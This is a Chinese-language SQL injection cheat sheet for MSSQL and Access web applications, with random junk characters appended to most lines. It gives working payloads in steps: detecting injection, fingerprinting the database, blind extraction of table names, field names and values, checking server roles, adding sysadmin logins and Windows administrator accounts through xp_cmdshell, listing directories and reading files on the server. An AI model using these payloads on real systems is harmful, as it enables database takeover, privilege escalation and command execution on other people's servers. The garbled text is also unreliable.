1.判断是否有注入;and 1=1 ;and 1=2 L#N]1#;
2.初步判断是否是mssql ;and user>0 +^[SXI^JaJ
-`PLewvX
3.注入参数是字符'and [查询条件] and ''=' MTn}]blH
C-H6l6,
4.搜索时没过滤参数的'and [查询条件] and '%25'=' BuOe'$F
0t
;7(vqm<V2~
5.判断数据库系统 wNMA)S
vg5fMH9ZZ
;and (select count(*) from sysobjects)>0 mssql e4;h*IQK
;ao <{i?
;and (select count(*) from msysobjects)>0 access 03!#99
E4<#6q
g+-^6UG
]!2[k A-
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ESuP ZB
'2SZ]
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 U}GO* +
_!%@V=
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 A9z3SJ\vXl
',I$`h
9.(1)猜字段的ascii值(access) vQ>8>V
Lv
*USN
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 SGpe \P ]k
K~~LJU3
(2)猜字段的ascii值(mssql) /pJr%}sc
\+<=O`
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 d26#0Gt-4i
e/$M6l$Q*4
10.测试权限结构(mssql) ONLhQJCb
YOtzja]~
1vCVTuRF
Z.N9e
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- k-sBf Jy\
9} ]C
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- _OB^ywHn.
q'%!qa+
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- a4",BDx
Vr #o]v
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 7/dp_I}cO
b6'ZVB
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- |pE
~
X rut[)H
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- . Fm| $x
q0@b d2}
;and 1=(select IS_MEMBER('db_owner'));-- \psO$TxF=
fF.+{-.
Xet}
J@C
T^Hq 5Oy
11.添加mssql和系统的帐户 ?]>;Wr
R_#k^P^
;exec master.dbo.sp_addlogin username;-- ,n$HTWa@0
;exec master.dbo.sp_password null,username,password;-- 9<5ii
h#uk-7
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 1(jx.W3
|2I/r$Q
;exec master.dbo.xp_cmdshell 'net user username password MF+F8h>/
x/%/MFK)>8
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- _;:B@Z
^vTp.7o~5
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;kD
Rm'(
0I*{CVTQj
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Nb\B*=4AR
2 y&k
f5'vjWJ30
:* J!
12.(1)遍历目录 K\5/ ||gi
ge%tj O
;create table dirs(paths varchar(100), id int) m21H68y
4cDe'9
LA
;insert dirs exec master.dbo.xp_dirtree 'c:\' b>nwX9Y/U
T|uG1
;and (select top 1 paths from dirs)>0 _"82W^W i
K pmq C$
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) J$,bsMIX
B8zc#0!1
COA>y?
yRt7&,}zL
(2)遍历目录 Q=^TKsu
5zH_yZ@+
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3/8<dc
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Y5<W"[B!
O?iLLfs
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ;V84Dy#b
e,l-}=5*P
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 aO*v"^oF
tQ`|MO&o
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 H1$n6J
<,Jx3yq
ccy q~
o RK:{?Y
13.mssql中的存储过程 E*QLw*H
;+lsNf
xp_regenumvalues 注册表根键, 子键 :13u{5:th
@R ;&P